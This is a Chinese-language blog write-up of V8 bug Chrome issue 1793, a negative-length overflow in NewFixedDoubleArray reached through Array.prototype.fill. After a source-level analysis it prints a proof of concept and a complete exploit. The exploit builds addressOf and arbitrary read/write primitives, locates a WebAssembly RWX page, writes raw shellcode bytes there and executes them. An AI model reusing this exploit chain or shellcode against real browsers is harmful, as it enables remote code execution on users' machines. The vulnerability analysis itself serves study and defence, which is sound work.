Chrome issue-1793分析

环境配置

git reset --hard dd68954
gclient sync
tools/dev/v8gen.py x64.release
ninja -C out.gn/x64.release

漏洞分析

在v8/src/heap/factory.cc文件的NewFixedDoubleArray函数中可以发现开发人员对length进行了长度的检查,即DCHECK_LE(0, length)。但由于DCHECK只在debug中起作用,而在release中并不起作用,则该检查对正式版本并没有什么作用。如果length为负数,则会绕过if (length > FixedDoubleArray::kMaxLength)的检查,而由于int size = FixedDoubleArray::SizeFor(length)会使用length来计算出size,如果我们合理控制length,则可以让size计算出来为正数。

// v8/src/heap/factory.cc
Handle<FixedArrayBase> Factory::NewFixedDoubleArray(int length,PretenureFlag pretenure) {
  DCHECK_LE(0, length); // ***here***
  if (length == 0) return empty_fixed_array();
  //负数绕过检查
  if (length > FixedDoubleArray::kMaxLength) { 
    isolate()->heap()->FatalProcessOutOfMemory("invalid array length");
  }
  //计算出一个正数
  int size = FixedDoubleArray::SizeFor(length); // ***here***
  Map map = *fixed_double_array_map();
  //申请elements空间
  HeapObject result =
    AllocateRawWithImmortalMap(size, pretenure, map, kDoubleAligned);
  Handle<FixedDoubleArray> array(FixedDoubleArray::cast(result), isolate());
  array->set_length(length);
  return array;
}

// Garbage collection support.
inline static int SizeFor(int length) {
  return kHeaderSize + length * kDoubleSize;
}

在对length进行判断时,只判断了length的上限不大于maxlength,而并没有判断其下限,又因为传入的length参数类型是int,所以传入一个负数依然可以绕过检查,接着在下边的sizefor函数中,又会计算出一个正数的size。看一下sizefor的实现

// Garbage collection support.
inline static int SizeFor(int length) {
  return kHeaderSize + length * kDoubleSize;
}

如果传入的length为0x80000000,则经过计算返回的size为0x10+0x80000000*8=0x10。再调用AllocateRawWithImmortalMap则只会申请0x10的空间。

漏洞触发

在v8/src/builtins/builtins-array.cc文件中的ArrayPrototypeFill函数可以调用NewFixedDoubleArray函数。

BUILTIN(ArrayPrototypeFill) {
  HandleScope scope(isolate);
	
  if (isolate->debug_execution_mode() == DebugInfo::kSideEffects) {
    if (!isolate->debug()->PerformSideEffectCheckForObject(args.receiver())) {
      return ReadOnlyRoots(isolate).exception();
    }
  }

  // 1. Let O be ? ToObject(this value).
  //获取对象,返回值为receiver
  Handle<JSReceiver> receiver;
  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
      isolate, receiver, Object::ToObject(isolate, args.receiver()));

  // 2. Let len be ? ToLength(? Get(O, "length")).
  //获取对象长度,返回值length
  double length;
  MAYBE_ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
      isolate, length, GetLengthProperty(isolate, receiver));

  // 3. Let relativeStart be ? ToInteger(start).
  // 4. If relativeStart < 0, let k be max((len + relativeStart), 0);
  //    else let k be min(relativeStart, len).
  //获取开始长度start
  Handle<Object> start = args.atOrUndefined(isolate, 2);

  double start_index;
  //获取Start处的值start_index
  MAYBE_ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
      isolate, start_index, GetRelativeIndex(isolate, length, start, 0));

  // 5. If end is undefined, let relativeEnd be len;
  //    else let relativeEnd be ? ToInteger(end).
  // 6. If relativeEnd < 0, let final be max((len + relativeEnd), 0);
  //    else let final be min(relativeEnd, len).
  Handle<Object> end = args.atOrUndefined(isolate, 3);

  double end_index;
  //获取end处的值end_index
  MAYBE_ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
      isolate, end_index, GetRelativeIndex(isolate, length, end, length));

  if (start_index >= end_index) return *receiver;

  // Ensure indexes are within array bounds
  DCHECK_LE(0, start_index);
  DCHECK_LE(start_index, end_index);
  DCHECK_LE(end_index, length);

  Handle<Object> value = args.atOrUndefined(isolate, 1);
	//调用TryFastArrayFill,start_index和end_index都是double类型
  if (TryFastArrayFill(isolate, &args, receiver, value, start_index,
                       end_index)) {
    return *receiver;
  }
  return GenericArrayFill(isolate, receiver, value, start_index, end_index);
}

该函数首先获取args.receiver()对象,返回值为receiver对象。再获取receiver对象的长度,返回值为length。接着分别获取start和end,这里调用了GetRelativeIndex方法,该方法会触发用户自定义的JS函数,如果自定义函数可以修改其length,则可以造成oob。 

看一下GetRelativeIndex方法实现

V8_WARN_UNUSED_RESULT Maybe<double> GetRelativeIndex(Isolate* isolate,
                                                     double length,
                                                     Handle<Object> index,
                                                     double init_if_undefined) {
  double relative_index = init_if_undefined;
  if (!index->IsUndefined()) {
    Handle<Object> relative_index_obj;
    //ToInteger函数会触发自定义函数
    ASSIGN_RETURN_ON_EXCEPTION_VALUE(isolate, relative_index_obj,
                                     Object::ToInteger(isolate, index),
                                     Nothing<double>());
    relative_index = relative_index_obj->Number();
  }

  if (relative_index < 0) {
    return Just(std::max(length + relative_index, 0.0));
  }

  return Just(std::min(relative_index, length));
}

可以发现其中调用了ToInteger方法,该方法可以调用自定义函数。

接着执行最后的TryFastArrayFill。

V8_WARN_UNUSED_RESULT bool TryFastArrayFill(
    Isolate* isolate, BuiltinArguments* args, Handle<JSReceiver> receiver,
    Handle<Object> value, double start_index, double end_index) {
  // If indices are too large, use generic path since they are stored as
  // properties, not in the element backing store.
  if (end_index > kMaxUInt32) return false;
  if (!receiver->IsJSObject()) return false;

  if (!EnsureJSArrayWithWritableFastElements(isolate, receiver, args, 1, 1)) {
    return false;
  }

  Handle<JSArray> array = Handle<JSArray>::cast(receiver);

  // If no argument was provided, we fill the array with 'undefined'.
  // EnsureJSArrayWith... does not handle that case so we do it here.
  // TODO(szuend): Pass target elements kind to EnsureJSArrayWith... when
  //               it gets refactored.
  if (args->length() == 1 && array->GetElementsKind() != PACKED_ELEMENTS) {
    // Use a short-lived HandleScope to avoid creating several copies of the
    // elements handle which would cause issues when left-trimming later-on.
    HandleScope scope(isolate);
    JSObject::TransitionElementsKind(array, PACKED_ELEMENTS);
  }

  DCHECK_LE(start_index, kMaxUInt32);
  DCHECK_LE(end_index, kMaxUInt32);

  uint32_t start, end;
  CHECK(DoubleToUint32IfEqualToSelf(start_index, &start));
  CHECK(DoubleToUint32IfEqualToSelf(end_index, &end));

  ElementsAccessor* accessor = array->GetElementsAccessor();
  accessor->Fill(array, value, start, end);							// 调用具体的Fill函数来进行填充
  return true;
}

在最后执行Fill函数。v8/src/elements.cc

static Object FillImpl(Handle<JSObject> receiver, Handle<Object> obj_value, uint32_t start, uint32_t end) {
  // Ensure indexes are within array bounds
  DCHECK_LE(0, start);
  DCHECK_LE(start, end);

  // Make sure COW arrays are copied.
  if (IsSmiOrObjectElementsKind(Subclass::kind())) {
    JSObject::EnsureWritableFastElements(receiver);
  }

  // Make sure we have enough space.
  uint32_t capacity =
      Subclass::GetCapacityImpl(*receiver, receiver->elements());
  if (end > capacity) {
    Subclass::GrowCapacityAndConvertImpl(receiver, end); // ***here***
    CHECK_EQ(Subclass::kind(), receiver->GetElementsKind());
  }

首先判断start和end的关系,然后获取当前对象数组的容量capacity,判断end和capacity,如果end大,则需要调用GrowCapacityAndConvertImpl增加数组容量。该函数最终会调用到 ConvertElementsWithCapacity

// /home/ruan/v8_build/v8_src/v8/src/elements.cc 
static Handle<FixedArrayBase> ConvertElementsWithCapacity(
      Handle<JSObject> object, Handle<FixedArrayBase> old_elements,
      ElementsKind from_kind, uint32_t capacity, uint32_t src_index,
      uint32_t dst_index, int copy_size) {
    Isolate* isolate = object->GetIsolate();
    Handle<FixedArrayBase> new_elements;
    if (IsDoubleElementsKind(kind())) {
      new_elements = isolate->factory()->NewFixedDoubleArray(capacity);					// (11)
    } else {
      new_elements = isolate->factory()->NewUninitializedFixedArray(capacity);
    }

    int packed_size = kPackedSizeNotKnown;
    if (IsFastPackedElementsKind(from_kind) && object->IsJSArray()) {
      packed_size = Smi::ToInt(JSArray::cast(*object)->length());
    }

    Subclass::CopyElementsImpl(isolate, *old_elements, src_index, *new_elements,
                               from_kind, dst_index, packed_size, copy_size);

    return new_elements;
  }

可以看到这里会调用NewFixedDoubleArray触发漏洞。

漏洞利用

首先给出poc

// test on d8 release version
array = [];
array.length = 0xffffffff;
arr = array.fill(1.1, 0x80000000 - 1, {valueOf() {
  array.length = 0x100;
  array.fill(1.1);
  return 0x80000000;
}});
let a = new Array(0x12345678,0); 
let ab = new ArrayBuffer(8); 
%DebugPrint(array);
%DebugPrint(a);
%DebugPrint(ab);
%SystemBreak();

 打印array的内存,找到其elements地址

打印array的elements的内存

 

发现本该都是1.1的值,但是前边array-->elements的部分区域被a和ab的内存覆盖了。那么我们就可以通过修改array--->elements来修改a和ab的内存区域,从而达到任意地址读写的效果。

exp

var buf = new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
var Uint32 = new Int32Array(buf);

function f2i(f)
{
    float64[0] = f;
    return bigUint64[0];
}

function i2f(i)
{
    bigUint64[0] = i;
    return float64[0];
}


function hex(i){
    return '0x' + i.toString(16).padStart(16, '0');
}

array = [];
array.length = 0xffffffff;
arr = array.fill(1.1, 0x80000000 - 1, {valueOf() {
  array.length = 0x100;
  array.fill(1.1);
  return 0x80000000;

}});
let a = new Array(0x12345678,0); 
let ab = new ArrayBuffer(8);


let idx = arr.indexOf(i2f(0x1234567800000000n)); 
function addressOf(obj)
{
    a[0] = obj;         
    return f2i(arr[idx]);
}

let backstore_ptr_idx = arr.indexOf(i2f(8n)) + 1; 
function arb_read(addr)
{
    arr[backstore_ptr_idx] = i2f(addr);
    let dv = new DataView(ab); 
    return f2i(dv.getFloat64(0,true)) 
}

function arb_write(addr,data)
{
    arr[backstore_ptr_idx] = i2f(addr);
    let ua = new Uint8Array(ab); 
    ua.set(data);
}

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
var wasm_instance_addr = addressOf(wasmInstance) - 1n;
console.log("[+]leak wasm instance addr: " + hex(wasm_instance_addr));
var rwx_page_addr = arb_read(wasm_instance_addr + 0x108n);
console.log("[+]leak rwx_page_addr: " + hex(rwx_page_addr));

const sc = [72, 49, 201, 72, 129, 233, 247, 255, 255, 255, 72, 141, 5, 239, 255, 255, 255, 72, 187, 124, 199, 145, 218, 201, 186, 175, 93, 72, 49, 88, 39, 72, 45, 248, 255, 255, 255, 226, 244, 22, 252, 201, 67, 129, 1, 128, 63, 21, 169, 190, 169, 161, 186, 252, 21, 245, 32, 249, 247, 170, 186, 175, 21, 245, 33, 195, 50, 211, 186, 175, 93, 25, 191, 225, 181, 187, 206, 143, 25, 53, 148, 193, 150, 136, 227, 146, 103, 76, 233, 161, 225, 177, 217, 206, 49, 31, 199, 199, 141, 129, 51, 73, 82, 121, 199, 145, 218, 201, 186, 175, 93];
for(let i = 0; i < sc.length / 8; i++ ){
    arb_write(rwx_page_addr + BigInt(i) * 8n ,sc.slice(i * 8,(i + 1) * 8));
}

f();

 成功弹出计算器。

参考

Chrome issue-1793分析-安全客 - 安全资讯平台 (anquanke.com)

Chrome issue 1793 分析 | ruan (ruan777.github.io)

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值